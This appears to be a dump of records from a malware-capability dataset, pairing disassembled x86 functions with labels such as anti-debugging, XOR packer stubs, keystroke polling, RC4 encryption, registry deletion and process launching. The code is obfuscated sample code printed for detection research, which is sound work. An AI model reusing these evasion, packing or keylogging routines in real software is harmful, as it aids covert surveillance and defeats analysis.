joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf9529d
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop dword [esp]
setb dh
not dx
mov word [esp + 1], ax
jmp 0xf95340
mov dl, byte [esp + 2]
push edi
cpuid
jmp 0xf95285
mov bx, di
bts edi, edx
add esp, 0
mov ebx, 0x23becb16
rcr eax, cl
jmp 0xf95310
btr ecx, eax
sub ebp, edx
mov byte [esp + 3], dl
pop word [esp]
xchg dl, bl
xchg ebp, eax
jmp 0xf952a6
lea ecx, reloc.kernel32.dll_LoadLibraryA
lea edi, [eax + ebx]
mov edx, 0xce591106
sub esp, 5
mov ax, 0xf30c
lea ebx, reloc.kernel32.dll_LoadLibraryA
jmp 0xf952bc
stc
mov word [esp + 4], sp
mov dword [esp], ecx
lea ebp, [eax*4]
mov si, 0xdc7d
not ebp
jmp 0xf95326
dec ebx
pushfd
lea eax, reloc.kernel32.dll_LoadLibraryA
lea ebx, [ebp*4]
btr eax, ebx
rdtsc
jmp 0xf952f1
mov edi, esp
pop dx
rdtsc
bswap ebp
mov word [esp + 1], bp
bswap edx
jmp 0xf9536e
lea esi, [ecx*4]
pop si
inc bl
mov word [esp], di
pop ecx
lea ecx, [ecx + ebx]
jmp 0xf952d4
bsr eax, esp
lea ebp, [eax + esi]
neg dl
lea edx, [ebx*4]
dec eax
jmp 0xf953b8
mov esi, dword [esp]
mov ecx, esi
mov si, 0x858e
bswap ebx
cpuid
bswap eax
jmp 0xf95358
add bh, ah
neg bp
std
ror bl, cl
pop word [esp]
lea ebx, [edx + edi]
jmp 0xf953a2

Function at 0xf953f9
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
mov bx, 0x8438
not esi
cpuid
push dword [esp + 3]
bswap edx
jmp 0xf95013
sets cl
mov bp, word [esp + 0x10]
pop di
push dword [esp + 2]
jmp 0xf95052
cpuid
rdtsc
mov word [esp], si
push esp
mov bx, cx
setge bh
jmp 0xf94ffd
lea ebp, [ebp + ebp]
lea esp, [esp + 9]
xchg edx, eax
mov ch, byte [esp + 3]
lea ecx, [esp + edi]
jmp 0xf95246
lea ecx, [esi*4]
lea esp, [esp + 3]
mov ebx, edi
lea ecx, reloc.kernel32.dll_LoadLibraryA
mov dx, 0x36c7
lea ebp, [edi*4]
jmp 0xf9503a
lea esp, [esp]
xchg bx, ax
mov dword [esp], eax
pushfd
xchg bp, ax
and eax, 0xbc54fb0e
jmp 0xf95029
cpuid
xchg byte [esp], dl
mov al, byte [esp]
mov ax, bx
lea esp, [esp]
jmp 0xf950c5
mov edx, 0xcfde7853
lea esi, reloc.kernel32.dll_LoadLibraryA
not di
xchg edi, eax
xchg byte [esp], bl
lea esp, [esp + 2]
jmp 0xf95096
lea edx, [edx*4]
sets ah
mov al, byte [esp]
cpuid
mov edx, 0xb1a6e64e
mov ebp, eax
jmp 0xf951d2
mov ecx, ebp
mov ch, byte [esp]
and al, 2
lea edi, reloc.kernel32.dll_LoadLibraryA
xchg byte [esp], al
push cx
jmp 0xf950ac
mov edi, edx
cld
setns dh
xchg ecx, edx
mov edx, ebx
call fcn.00f9510b
mov di, 0xc0e4
xchg esi, edx
pop word [esp]
pop word [esp]
pop di
lea eax, [ebp - 0x5a]
jmp 0xf950e1
jmp 0xf95082
Function at 0xf95825
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov eax, dword [esp]
adc edi, 0x99eefb43
jmp 0xf9584f
mov edi, dword [esp + 3]
ror dl, 2
add esp, 0
pop eax
mov dx, bp
mov edx, 0x11bfa3c5
jmp 0xf9587b
sub esp, 0x16
mov ch, 0x91
btr bx, dx
mov al, byte [esp + 0xb]
neg dx
lea esi, reloc.kernel32.dll_LoadLibraryA
jmp 0xf963d8
xchg word [esp + 6], di
mov cl, 0xf0
mov word [esp + 0xc], si
pushal
pop ecx
mov ax, 0xa944
jmp 0xf95a06
mov byte [esp + 0xd], al
not bx
inc cl
push word [esp + 0x30]
mov ecx, eax
popal
jmp 0xf95ae1
mov byte [esp + 9], ch
cpuid
push word [esp + 0x27]
cld
xchg ebx, edi
mov ax, 0x47a6
jmp 0xf95b40
pop dword [esp + 2]
sub esp, 0x1e
rdtsc
not cx
push dword [esp + 0xf]
pop eax
jmp 0xf95fc0
inc ax
lea ebx, reloc.kernel32.dll_LoadLibraryA
mov dword [esp + 8], ebx
shr dx, 0xf
pop word [esp + 8]
xchg word [esp + 9], si
jmp 0xf961fc

Function at 0xf95b26
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xf95c18
lea edx, [esp + ebx]
dec bh
mov bp, di
and di, 0x28ae
lea edx, [ecx*4]
rdtsc
jmp 0xf95ba2
xchg dx, bx
not bx
cpuid
mov dh, al
std
mov byte [esp], bl
jmp 0xf95b53
xchg word [esp + 0x11], bp
pop esi
or bp, bx
push word [esp + 0x17]
pushfd
jmp 0xf95bc7
cpuid
xchg ebp, ebx
neg eax
xchg dh, dl
inc ch
sub esp, 0x1b
jmp 0xf95b8c
lea ebx, reloc.kernel32.dll_LoadLibraryA
lea ecx, reloc.kernel32.dll_LoadLibraryA
jmp 0xf95bee
xchg word [esp + 4], bx
mov byte [esp + 0xe], ch
mov dh, ch
sub esp, 3
jmp 0xf95bb1
bswap esi
cpuid
xchg ebp, edi
rdtsc
shl edx, 0x15
inc bp
jmp 0xf95b7c
mov word [esp + 0xc], si
pop word [esp + 0x1a]
mov edx, 0x6c6a36d0
pop cx
inc edi
sub esp, 0x15
jmp 0xf95e41
mov si, word [esp + 0xe]
pop ecx
popal
mov ch, al
mov ecx, 0xa98bc2f
mov edx, ebx
jmp 0xf95bdf
rdtsc
cpuid
std
mov dword [esp + 6], esp
pushal
call fcn.00f95c99
wait
push cs
pushfd
sti
push ss
mov edi, 0xfc47661f
inc di
cld
push dword [esp + 6]
mov dl, byte [esp + 9]
mov word [esp + 0xc], si
lea esp, [esp + 2]
jmp 0xf95c2a
push dword [esp]
mov dword [esp + 0xd], ebx
pop ebp
mov edx, 0x7d31baf5
mov dword [esp + 5], ebp
lea ebx, [edx*4]
jmp 0xf95c40
mov ecx, dword [esp + 0x10]
neg ebx
pop word [esp + 0x29]
pop word [esp + 0x27]
popal
neg di
jmp 0xf95c65
mov ebp, 0xc8a88a0c
not ah
mov dword [esp + 0x1b], esp
mov dword [esp + 0x10], ebp
xchg ebx, eax
mov ax, cx
jmp 0xf95cc5
Function at 0xf975e7
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp]
jmp 0xf97657
cpuid
bswap edx
cmc
xchg word [esp], dx
pop cx
mov ch, byte [esp]
jmp 0xf97680
mov bx, bp
mov bx, word [esp + 2]
mov esi, dword [esp]
inc esi
neg eax
mov ax, di
jmp 0xf97632
xchg bx, dx
xchg di, si
stc
xchg byte [esp], dh
mov di, 0x2501
jmp 0xf97695
add esp, 0
rdtsc
bswap eax
mov cl, byte [esp]
rdtsc
lea ebx, [edi*4]
jmp 0xf9766a
setns ah
xchg cx, ax
not di
mov byte [esp], ch
add esp, 0
xchg ch, al
jmp 0xf97734
ror al, 6
sub esp, 0x1b
cpuid
mov dword [esp + 0x15], ecx
call fcn.00f97715
aam 0x55
lds ebp, [edi + ebx*2 + 0x54c646bb]
xor ecx, esi
das
neg esi
sub dword [eax - 0x75], ecx
ret 0x348d
mov eax, edx
lea esi, [edx*4]
clc
mov byte [esp], bh
dec edi
xchg ecx, edi
jmp 0xf976cc
mov cl, 0xec
bswap edx
cpuid
lea ebx, [eax + edx]
not bx
lea esp, [esp]
jmp 0xf976ed

Function at 0xf97933
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 0x23], dl
lea ecx, reloc.kernel32.dll_LoadLibraryA
popal
bswap ebp
xchg ecx, ebx
jmp 0xf9794e
Function at 0xf97b77
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xf97cdc
mov word [esp + 6], bx
lea ebp, [edx + ebp]
mov cl, 0xc7
push dword [esp]
call 0xf97b77
pop eax
btr esi, esi
xchg byte [esp + 4], ah
jmp 0xf97ba1
lea eax, [esp + ebp]
mov word [esp + 4], dx
pop ebp
xchg bx, cx
xchg bl, al
push dword [esp + 6]
jmp 0xf97b64
push dword [esp + 0x11]
rol ecx, 0x1f
pop esi
bswap ebp
dec dx
mov ebp, 0x69bf1e06
jmp 0xf97c0c
lea edx, [eax + ebx]
bsf cx, di
pop dword [esp + 5]
add esp, 0xa
pop word [esp + 3]
mov word [esp], di
jmp 0xf97b8d
bsr edi, edx
pop edi
add esp, 0x10
neg bp
bsr eax, edi
jmp 0xf97c5c
cpuid
add esp, 9
xchg byte [esp + 6], dh
dec si
bswap esi
mov eax, esi
jmp 0xf97bd7
mov bx, word [esp + 9]
xchg dl, cl
cpuid
lea edi, reloc.kernel32.dll_LoadLibraryA
mov eax, dword [esp + 0xb]
sub esp, 0x19
jmp 0xf97bed
lea ebx, reloc.kernel32.dll_LoadLibraryA
std
dec edx
push dword [esp + 0xa]
mov ch, 0x5d
xchg ebx, eax
jmp 0xf97c6f
xchg dword [esp + 2], ebx
bts si, bx
mov dword [esp + 3], ebx
xchg ecx, edx
mov ecx, edi
inc bh
jmp 0xf97c24
xchg word [esp + 7], dx
cld
xchg cx, di
pop bx
xchg si, bp
lea eax, [ebx + esi]
jmp 0xf97c3a
xchg bp, cx
lea eax, [edx + ebx]
mov byte [esp + 0xe], ah
pop word [esp + 6]
push dword [esp + 0xd]
sub esp, 0xd
jmp 0xf97cb5
mov edi, dword [esp + 0x21]
lea edi, [ebp*4]
setns bl
mov byte [esp + 0x19], al
bsf ecx, edx
add esp, 0xb
jmp 0xf97bbe
xchg byte [esp + 0xa], ah
lea ebx, [edx + edi]
mov dword [esp + 0x1a], ecx
mov al, 0xf5
xchg byte [esp + 7], ch
xchg bp, cx
jmp 0xf97d2b
xchg byte [esp + 9], cl
lea ecx, [ebx*4]
not dl
mov word [esp + 0xa], bx
bsr cx, bx
sub esp, 0x1b
jmp 0xf97c98
rcl dx, cl
lea esp, [esp + 0xb]
xor dl, dh
mov di, 0xabac
pushal
jmp 0xf97d3d
lea edx, [ebx*4]
lea eax, [esi*4]
mov cx, 0x18fd
mov bl, 0x14
pop dx
cpuid
jmp 0xf97cf7
cld
cpuid
sub esp, 0x14
lea eax, [ebp*4]
popal
not edi
jmp 0xf97d0d
pop dword [esp + 4]
xchg dx, cx
not bx
call int.00f97e3b
jecxz 0xf97db7
stc
cwde
imul edi, dword [ebp + reloc.kernel32.dll_LoadLibraryA], 0xffffff8a
cmpsd dword gs:[esi], dword es:[edi]
das
mov edi, 0xc2d929da
jge 0xf97cee
sub al, 0x31
sub byte [edx + edi + 0x5147ac5d], ah
rol byte [edx], 1
add bh, bh

Function at 0xf97e3b
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 0xe], al
rol edi, cl
mov cl, byte [esp + 0x1d]
jmp fcn.00f97dbf

Function at 0xf9802e
Capabilities:
Get number of processors

Disassembly:
push dword [esp + 4]
mov dword [esp + 0x20], ebp
push si
mov byte [esp], ch
jmp 0xf98067

Function at 0xf9805e
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
call fcn.00f96ffd
lea esp, [esp]
pushal
call fcn.00f97fd6
lea esp, [esp + 2]
mov dword [esp + 0x1c], esi
push esp
push dword [esp + 1]
mov dword [esp + 0x20], edi
lea esp, [esp + 0x20]
jmp 0xf981e1
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0xf96ff8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0xf9818c
Function at 0x100047f1
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, ecx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push dword [esp + 0x10]
push 1
push 0
push dword [esp + 0x18]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
ret 8

Function at 0x1000658d
Capabilities:
Delete registry key

Disassembly:
mov eax, 0x1000a194
call fcn.100099f0
sub esp, 0x1c
push esi
push edi
push str.CLSID_
lea ecx, [ebp - 0x1c]
call fcn.10001d9b
push dword [0x1000b9b0]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.10002034
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x28]
push str.InprocServer32
call fcn.10001ca1
push dword [eax]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, 0x80000000
push edi
call esi
push dword [ebp - 0x28]
call fcn.10002447
pop ecx
push dword [ebp - 0x1c]
push edi
call esi
call fcn.10006269
invalid

Function at 0x100092ab
Capabilities:
Identify system language via api

Disassembly:
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.10009585
and dword [esi], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
cmp bx, ax
jne 0x100092e4
movzx ecx, ax
mov eax, ecx
mov edx, edi
shr eax, 0xa
and ecx, 0x3ff
mov dword [esi], eax
call fcn.100092e8
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401c66
pop dword [ebp - 0x48]
mov eax, 0xbce11dd5
sub eax, 0xbca1016f
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x381b58f5
add dword [ebp - 0x58], 0x1636ec56
mov dword [ebp - 0x54], 0x8d3f4135
add dword [ebp - 0x54], 0xa4f40b10
mov dword [ebp - 0x50], 0x94bdf3b6
sub dword [ebp - 0x50], 0x4871af88
mov dword [ebp - 0x4c], 0x9847d38a
add dword [ebp - 0x4c], 0x67b82c76
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x34e973b3
add dword [ebp - 0x58], 0x3f88f5a3
mov dword [ebp - 0x54], 0x9e2aece5
sub dword [ebp - 0x54], 0x5cbe8b70
mov dword [ebp - 0x50], 0x4a3d7c5e
add dword [ebp - 0x50], 0x1931f00e
mov dword [ebp - 0x4c], 0x35fcfab8
sub dword [ebp - 0x4c], 0x35fcfab8
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x6a23bb71
sub eax, 0x69e38b45
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x38752
push 0
call eax
mov ecx, 0x16217b87
sub ecx, 0x16212b9f
xor edx, edx
add edx, eax
mov esi, 0x6b27009d
add esi, 0x95196f63
add esi, dword [ebp - 0x48]
mov ebx, 0x86eb9a33
sub ebx, 0x1b73e017
mov dword [ebp - 0xc], 0xd3c154d6
mov edi, dword [esi]
xor dword [ebp - 0xc], 0x81875ba1
sub edi, ebx
sub dword [ebp - 0x2c], 0xe3620b9b
mov dword [edx], edi
sub dword [ebp - 0xc], 0xdb48d7bf
add edx, 0x1cb7dfbc
add edx, 0xe3482048
add esi, 0x86c605fa
sub esi, 0x86c605f6
loop 0x401d85
add eax, 0x1e9e2e24
sub eax, 0x1e9cfbb1
xor ebx, ebx
add ebx, eax
add eax, 0x62651373
sub eax, 0x6265136e
mov ecx, 0x1950329b
add ecx, 0xe6efcd65
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x4dd1b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x550b4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00541069
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4dd232
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0053e6aa
mov eax, dword [eax]
push 0x6c9234
push eax
call fcn.00530924
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005412f4
test bl, bl
je 0x4dd232
push 0x6c9234
lea ecx, [esp + 0xc]
call fcn.005416d0
push 0x6ccd9c
lea ecx, [esp + 0xc]
call fcn.005416d0
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4dd26e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005412f4
jmp 0x4dd339
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4dd2f2
lea edx, [esp + 0x7c]
push 0x6ccd98
push edx
call fcn.00530924
add esp, 8
test eax, eax
je 0x4dd2f2
lea eax, [esp + 0x7c]
push 0x6ccd94
push eax
call fcn.00530924
add esp, 8
test eax, eax
je 0x4dd2f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4dd282
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005412f4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4ddb30
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4ddb92
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4ddba0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x550bcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x6d3924]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4ddcd8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4ddc06
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005412f4
xor eax, eax
jmp 0x4ddd4f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0054147d
push esi
lea ecx, [esp + 0xc]
call fcn.0054170c
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4ddd2d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.004ddb30
test eax, eax
jne 0x4ddd2d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004ddb30
test eax, eax
jne 0x4ddd2d
lea eax, [esp + 0x14]
push 0x6ccdb0
push eax
call fcn.00531ad0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4ddd0c
lea ecx, [esp + 0x14]
push 0x6ccdac
push ecx
call fcn.00531a50
mov esi, eax
add esp, 8
test esi, esi
jne 0x4ddd0c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4ddd0f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0054142d
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4ddc1e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005412f4
xor eax, eax
jmp 0x4ddd4f
mov byte [esi], 0
push 0x6ccda8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005412f4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4f1880
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4f18ee
cmp si, 0x69
ja 0x4f18ee
add esi, 0xffd0
cmp si, 0x11
je 0x4f18be
push 0x11
call edi
test ax, ax
jge 0x4f18be
or esi, 0x2000
cmp si, 0x10
je 0x4f18d3
push 0x10
call edi
test ax, ax
jge 0x4f18d3
or esi, 0x4000
cmp si, 0x12
je 0x4f18e8
push 0x12
call edi
test ax, ax
jge 0x4f18e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4f18fb
mov esi, 0xbd
jmp 0x4f18af
cmp si, 0x6e
jne 0x4f1908
mov esi, 0xbe
jmp 0x4f18af
cmp si, 0x6f
jne 0x4f18a9
mov esi, 0xbf
jmp 0x4f18af

Function at 0x4f3140
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6e4900]
xor edx, edx
cmp eax, edx
jne 0x4f3166
xor eax, eax
mov byte [eax + 0x6e4800], al
inc eax
cmp eax, 0x100
jl 0x4f314e
mov dword [0x6e4900], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x6e4800
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4f31f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4f31ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4f3198
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4f3270
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4f32c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4f32aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4fa120
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4fa2b8
cmp ebp, ebx
jle 0x4fa2b8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x4fa17e
dec eax
or eax, 0xfffffff8
inc eax
je 0x4fa185
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4fa194
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4fa19b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00541035
add esp, 4
cmp eax, ebx
je 0x4fa1bc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00541035
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4fa2ae
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4fa295
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4fa281
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4fa276
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4fa284
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4fa284
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4fa220
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4fa211
